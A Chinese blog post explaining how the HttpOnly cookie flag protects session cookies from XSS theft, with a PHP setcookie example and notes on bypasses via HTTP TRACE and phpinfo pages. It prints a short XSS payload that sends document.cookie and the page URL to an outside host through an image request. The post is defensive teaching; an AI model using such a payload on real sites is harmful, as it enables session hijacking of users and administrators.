`
hanqingwxf2008
  • 浏览: 50617 次
  • 性别: Icon_minigender_1
  • 来自: 青岛
社区版块
存档分类
最新评论

利用Httponly提升web应用程序安全性

    博客分类:
  • web
 
阅读更多

 随着www服务的兴起,越来越多的应用程序转向了B/S结构,这样只需要一个浏览器就可以访问各种各样的web服务,但是这样也越来越导致了越来 越多的web安全问题。www服务依赖于Http协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地用到Cookie或者 Session等技术来标记访问者的状态,而无论是Cookie还是Session,一般都是利用Cookie来实现的(Session其实是在浏览器的 Cookie里带了一个Token来标记,服务器取得了这个Token并且检查合法性之后就把服务器上存储的对应的状态和浏览器绑定),这样就不可避免地 安全聚焦到了Cookie上面,只要获得这个Cookie,就可以取得别人的身份,这对于入侵者是一件很美妙的事情,特别当获得的Cookie属于管理员 等高权限身份者时,危害就更大了。在各种web安全问题里,其中xss漏洞就因此显得格外危险。

  对于应用程序来说,一旦存在了xss漏洞就意味着别人可以在你的浏览器中执行任意的js脚本,如果应用程序是开源的或者功能是公开的话,别人就 可以利用ajax使用这些功能,但是过程往往很烦琐,特别是想直接获得别人身份做随意浏览的话困难就更大。而对于不开源的应用程序,譬如某些大型站点的 web后台(web2.0一个显著的特征就是大量的交互,用户往往需要跟后台的管理员交互,譬如Bug汇报,或者信息投递等等),尽管因为交互的存在可能 存在跨站脚本漏洞,但是因为对后台的不了解,无法构造完美的ajax代码来利用,即使可以用js取得后台的代码并回传分析,但是过程同样烦琐而且不隐蔽。 这个时候,利用xss漏洞获得Cookie或者Session劫持就很有效了,具体分析应用程序的认证,然后使用某些技巧,甚至可以即使对方退出程序也一 样永久性获得对方的身份。

  那么如何获得Cookie或者Session劫持呢?在浏览器中的document对象中,就储存了Cookie的信息,而利用js可以把这里面的Cookie给取出来,只要得到这个Cookie就可以拥有别人的身份了。一个很典型的xss攻击语句如下:

  xss exp:
  url
=document.top.location.href;
  cookie
=document.cookie;
  c
=new Image();
  c.src
=’http://www.loveshell.net/c.php?c=’+cookie+’&u=’+url;

  一些应用程序考虑到这个问题所在,所以可能会采取浏览器绑定技术,譬如将Cookie和浏览器的User-agent绑定,一旦发现修改就认为 Cookie失效。这种方法已经证明是无效的,因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严格的是 将Cookie和Remote-addr相绑定(其实就是和IP绑定,但是一些程序取得IP的方法有问题一样导致饶过),但是这样就带来很差的用户体验, 更换IP是经常的事,譬如上班与家里就是2个IP,所以这种方法往往也不给予采用。所以基于Cookie的攻击方式现在就非常流行,在一些web 2.0站点很容易就取到应用程序的管理员身份。

  如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对象中获得的,我们只要让敏感 Cookies浏览器document中不可见就行了。很幸运,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟 domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任 何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的 Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了 应用。关于HttpOnly说明可以参照 http://msdn2.microsoft.com/en-us/library/ms533046.aspx

  给浏览器设置Cookie的头如下:

  Set-Cookie: =[; =]
  [; expires
=][; domain=]
  [; path
=][; secure][; HttpOnly]

  以php为例,在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持,譬如:

   setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);

  就可以设置abc这个cookie,将其设置为HttpOnly,document将不可见这个Cookie。因为setcookie函数本质 就是个header,所以一样可以使用header来设置HttpOnly。然后再使用document.cookie就可以看到已经取不到这个 Cookie了。我们用这种方法来保护利例如Sessionid,如一些用于认证的auth-cookie,就不用担心身份被人获得了,这对于一些后台程 序和webmail提升安全性的意义是重大的。再次使用上面的攻击手法时可以看到,已经不能获取被我们设置为HttpOnly的敏感Cookie了。

  但是,也可以看到HttpOnly并不是万能的,首先它并不能解决xss的问题,仍然不能抵制一些有耐心的黑客的攻击,也不能防止入侵者做 ajax提交,甚至一些基于xss的proxy也出现了,但是已经可以提高攻击的门槛了,起码xss攻击不是每个脚本小子都能完成的了,而且其他的那些攻 击手法因为一些环境和技术的限制,并不像Cookie窃取这种手法一样通用。

  HttpOnly也是可能利用一些漏洞或者配置Bypass的,关键问题是只要能取到浏览器发送的Cookie头就可以了。譬如以前出现的 Http Trace攻击就可以将你的Header里的Cookie回显出来,利用ajax或者flash就可以完成这种攻击,这种手法也已经在ajax和 flash中获得修补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo,大家知道phpinfo会将浏览器发送的http 头回显出来,其中就包括我们保护的auth信息,而这个页面经常存在在各种站点上,只要用ajax取phpinfo页面,取出header头对应的部分就 可以获得Cookie了。一些应用程序的不完善也可能导致header头的泄露,这种攻击方式对于basic验证保护的页面一样可以攻击。

  HttpOnly在IE 6以上,Firefox较新版本都得到了比较好的支持,并且在如Hotmail等应用程序里都有广泛的使用,并且已经是取得了比较好的安全效果。

  相关英文文章:HttpOnly

  相关博文:HttpCookie.HttpOnly VS Cookie.HttpOnly?(downmoon原创)

分享到:
评论

相关推荐

    开发高安全级别的企业应用系列课程(4).使用.NET Framework提供应用程序的安全性

    此外,我们还可以使用Forms身份验证,这对于非Windows环境或Web应用程序特别有用。授权则涉及确定用户或角色是否被允许执行特定操作,可以通过角色基础的授权或基于策略的授权来实现。 然后,我们将关注数据保护,...

    web安全性测试 共8讲

    Web安全性测试是保护在线应用程序免受恶意攻击的关键环节。在这个8讲的系列中,我们将深入探讨几种最常见的Web安全威胁,并了解如何检测和防止这些威胁。以下是各讲的主要内容: 第一讲:Web安全性测试介绍 这一讲...

    Web编程常见漏洞与检测

    为了提高Web应用的安全性,建议采取以下措施: 1. 使用安全的编程实践,如OWASP(开放网络应用安全项目)提供的指南。 2. 应用安全框架和库,如Spring Security或Ruby on Rails的安全模块。 3. 实施持续集成和自动...

    Web安全学习笔记

    通过深入学习和实践这些知识点,我们可以更好地理解Web安全的复杂性,并提升防御能力,保护Web应用程序和用户信息的安全。《Learn-Web-Hacking__LyleMi》这份学习资料,无疑是深入探索这一领域的宝贵资源。

    跨域名和应用程序登陆

    总之,跨域名和应用程序登录是现代互联网服务的重要组成部分,它利用各种技术和协议来提升用户体验,同时也要面对并解决安全挑战。理解和掌握这些技术对于开发高效、安全的互联网产品至关重要。

    Web渗透测试-常见漏洞解析课件

    Web渗透测试是网络安全领域的重要部分,它涉及到对Web应用程序的安全性进行系统性的检查,以发现潜在的漏洞并防止黑客攻击。本课件“Web渗透测试-常见漏洞解析”旨在深入探讨这一主题,帮助学习者理解和掌握如何有效...

    基于Web环境的网站渗透测试技术探究.pdf

    【Web渗透测试技术详解】 Web渗透测试是一种模拟黑客行为,以...了解并掌握这些技术,有助于提升Web开发的安全性,保护用户数据和个人隐私。同时,持续的安全审计和更新防护策略对于抵御不断演变的网络威胁至关重要。

    web站点攻击防御

    5. 定期更新和修补Web应用程序及其依赖库,以防止利用已知漏洞。 6. 对用户界面进行安全性审查,确保无钓鱼元素或恶意框架。 7. 使用安全的框架和最佳实践开发应用,遵循OWASP Top 10等安全指南。 通过这些防御策略...

    mvc中cookie安全

    **标题解析:**“mvc中cookie安全”这个标题聚焦于在使用Model-View-Controller (MVC)架构的Web应用程序中处理Cookie的安全性问题。在Web开发中,Cookie常用于存储用户状态信息,如会话ID,但如果不妥善管理,可能会...

    Web安全101.7z

    Web安全是信息技术领域中的一个重要分支,它关注的是保护Web应用程序和服务器免受各种攻击和威胁。Web安全101.7z压缩包包含了基础的Web安全知识,主要以Web安全101.pdf文档的形式呈现。这份文档可能涵盖了以下几个...

    cookie注入工具

    - 定期进行安全测试,如使用Cookie注入工具,可以帮助发现并修复潜在的安全漏洞,提升Web应用的安全性。 - 开发者应遵循安全编码原则,使用最新的安全框架,并时刻关注最新的威胁和防御策略。 7. **合规与法规**...

    Cookie在web认证中的应用研究.pdf

    为了实现页面之间的状态信息安全传递,本文探讨了如何利用Cookie技术进行Web认证状态的保持,并对其安全性进行了深入分析。 #### Cookie技术概览 **Cookie**是一种小型的数据文件,由服务器端生成后发送给客户端...

    web编程常见漏洞与检测

    "Web编程常见漏洞与检测"的主题涵盖了Web应用程序在设计、开发和运行过程中可能遇到的安全问题以及相应的检测方法。以下是对这些知识点的详细阐述: 1. SQL注入:SQL注入是攻击者通过输入恶意的SQL代码,以获取、...

    Web安全漏洞指导手册.rar

    《Web安全漏洞指导手册》是一本深入探讨Web应用程序安全问题的专业资料。在互联网技术日新月异的今天,Web安全愈发重要,无论是开发者、运维人员还是网络安全从业者,都需要对Web安全漏洞有深入的理解和防范措施。本...

    PHP高级应用程序漏洞审核技术 PDF版.rar

    4. SQL注入防护:SQL注入是一种常见的Web应用攻击方式,书中通过实例讲解了如何利用预处理语句和参数绑定来防止SQL注入,同时强调了避免使用动态SQL的重要性。 5. 跨站脚本攻击(XSS)防御:XSS允许攻击者在用户的...

    基于Cookie的认证机制及其安全性分析1

    Cookie是Web应用程序中用于维持状态的一种技术,由Web服务器生成并在用户设备上存储。这种技术最早由Netscape公司在1994年引入,使得无状态的HTTP协议能够处理需要保持状态的交互,如用户认证、购物车功能、个性化...

    黑客攻防技术宝典.web实战篇

    《黑客攻防技术宝典·Web实战篇》是一本深入探讨Web应用程序安全的专著,旨在帮助读者理解和应对网络世界中的安全威胁。本书的核心内容涵盖了黑客攻击的各种手段、防范策略以及实战技巧,对于想要提升网络安全意识和...

    java web ch15

    这些技术都是Java EE(Enterprise Edition)平台的一部分,用于构建企业级的Web应用程序。 1. **Servlet**:Servlet是Java编写的服务端程序,用于扩展服务器的功能。在Java Web中,Servlet处理HTTP请求,生成响应,...

    web程序攻击方式以及解决方法

    ### Web程序攻击方式及其解决方法 #### 一、跨站脚本攻击(XSS) **攻击原理:** 跨站脚本攻击(Cross Site Scripting,...通过上述提到的各种防御措施,我们可以大大提升Web应用的安全性,有效抵御各种攻击威胁。

Global site tag (gtag.js) - Google Analytics